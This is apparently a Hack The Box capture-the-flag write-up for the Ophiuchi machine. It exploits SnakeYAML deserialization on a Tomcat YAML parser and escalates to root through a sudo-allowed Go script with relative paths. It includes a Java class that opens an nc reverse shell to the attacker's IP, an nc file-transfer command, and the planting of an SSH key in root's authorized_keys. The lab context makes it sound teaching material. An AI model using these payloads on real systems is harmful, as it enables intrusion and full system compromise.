

# Ophiuchi - Writeup HTB

Author : [PierreAD](#)



## Enumeration :

Nmap :

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|   256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp  open  http      Apache Tomcat 9.0.38
|_ http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

⇒ Web Server (port 8080) :

Is Online YAML parser :

## ONLINE YAML PARSER

...

PARSE

To find other directory i run FFUF :

```
[Status: 200, Size: 8042, Words: 2846, Lines: 298],  
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Si  
test [Status: 302, Size: 0, Words: 1, Lines: 1]  
manager [Status: 302, Size: 0, Words: 1, Lines: 1]  
[Status: 200, Size: 8042, Words: 2846, Lines: 298]
```

Apache Version : **9.0.38**

### HTTP Status 404 – Not Found

Type Status Report

Message The requested resource [/ServleSt] is not available

Description The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.

Apache Tomcat/9.0.38



If i put somme caractere like '...' in YAML Parser, this returns the following error : Snakeyaml

#### Exception

```
while parsing a block node
  in 'string', line 1, column 1:
    ...
    ^
expected the node content, but found '<document end>'
  in 'string', line 1, column 1:
    ...
    ^

org.yaml.snakeyaml.parser.ParserImpl.parseNode(ParserImpl.java:480)
org.yaml.snakeyaml.parser.ParserImpl.access$1300(ParserImpl.java:117)
org.yaml.snakeyaml.parser.ParserImpl$ParseBlockNode.produce(ParserImpl.java:359)
org.yaml.snakeyaml.parser.ParserImpl.peekEvent(ParserImpl.java:158)
org.yaml.snakeyaml.parser.ParserImpl.checkEvent(ParserImpl.java:148)
org.yaml.snakeyaml.composer.Composer.composeNode(Composer.java:136)
org.yaml.snakeyaml.composer.Composer.getNode(Composer.java:95)
org.yaml.snakeyaml.composer.Composer.getSingleNode(Composer.java:119)
org.yaml.snakeyaml.constructor.BaseConstructor.getSingleNode(BaseConstructor.java:150)
org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
Servlet.doPost(Servlet.java:15)
javax.servlet.http.HttpServlet.service(HttpServlet.java:652)
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
```

**Note** The full stack trace of the root cause is available in the server logs.

Some Ressources :

#### ▼ YAML Deserialization Attack in Python



[https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf?utm\\_source=dlvr.it&utm\\_medium=twitter](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf?utm_source=dlvr.it&utm_medium=twitter)



<https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858>

I found this exploit ( i try but didnt work)  
so I search how to have revershell in java language and i find a forum, i  
finaly get this :

```
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            String[] cmd = {
                "/bin/sh",
                "-c",
                "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.95 4242 >/tmp/f"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

It's Work !! i have a shell as Tomcat

## Privilege Escalation :

I search some interesting information on web server file :

```
./conf/tomcat-users.xsd:
$ grep -r password .
```

```
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
```



I can now login as admin in ssh  
and execute Linpeas and find some information

```
[+] We can sudo without supplying a password!
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
```

▼ Index.go

```

import (
    "fmt"
    wasm "[github.com/wasmerio/wasmer-go/wasmer](http://github.com/wasmerio/wasmer-go/wasmer)"
    "os/exec"
    "log"
)

func main() {
    bytes, _ := wasm.ReadBytes("main.wasm")
    instance, _ := wasm.NewInstance(bytes)
    defer instance.Close()
    init := instance.Exports["info"]
    result, _ := init()
    f := result.String()
    if (f != "1") {
        fmt.Println("Not ready to deploy")
    } else {
        fmt.Println("Ready to deploy")
        out, err := exec.Command("/bin/sh", "deploy.sh").Output()
        if err != nil {
            log.Fatal(err)
        }
        fmt.Println(string(out))
    }
}

```

i resum : this script read 'main.wasm' and call info function, if function return "1" script deploy.sh is executed, if function return anything other than "1" script will stop

BUT the script not specify main.wasm and deploy.sh path so if i execute the script in another directory i can exploit this script



I read some wasm documentation and i find this interesting website :  
<https://webassembly.studio>

i transfere main.wasm on my local kali to analyse and change it, at my advantages

```

cat main.wasm | nc {your-ip} {your-port}    (on target)
nc -lnvp {your-port} > main.wasm            (on local)

```

on webassembly website, i change info function to 1 and i put back in my victime machine :

i create deploy.sh file and i put my ssh key inside

```
-bash-5.0$ cat deploy.sh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDQDRPQ1Xta17TzaMHLo5VEte3GbR4T/PvPbiDuwai3D2m36GfQLXRqVIP77TcWM5QwB1
xDSfhB7oKxZx7Fxmazx4mz8L7VkbyZqS/cSu9ob/VZA/UyYrXhbLk/KWATrVohwipVhohaN6ewZbLcs7402qxx0LAAK8GssGKdy8ULxHcLcdji
W8lzpTEFj0m56Eibe224k9morhcJr+2QTKMx+AVeRL60gEoYKK0G24L1ULFXyGx7LTRQao6DkiRvoIxZJSF4A1/0nG18YGK5qeegQP92tWSR8
XmXfV9xDnlyvcli0mmDVFPWQsufPPa+oKzJH/HdsW7x3cXrbZpzjlcv1+FSHoCoUD0icH6VCWfn9AD0rPQJ1zWSvAFeAWcMK1ZXi2HY1FNdwJR
Ms/SzAhGVilkYjR6+s7EeqwG+am02G5P/Q81azauFpXnQLB6195z0kV4CrnOpNchaE3bH+vQNWApfKLoHnnyf6ohWIqbt+OUZjUbNAK0pFivtZ
tC/shsk= peter@kali
" > /root/.ssh/authorized_keys
```

And now i can execut index.go with sudo right

anddd i can log me with root user !!

```
peter@kali:~/ssh$ ssh root@ophiuchi.htb
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed 17 Feb 2021 02:58:18 PM UTC

System load: 0.02
Usage of /: 23.2% of 27.43GB
Memory usage: 30%
Swap usage: 0%
Processes: 265
Users logged in: 1
IPV4 address for ens160: 10.10.10.227
IPV6 address for ens160: dead:beef::250:56ff:feb9:66a5

176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Feb 5 17:51:32 2021
root@ophiuchi:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ophiuchi:~#
```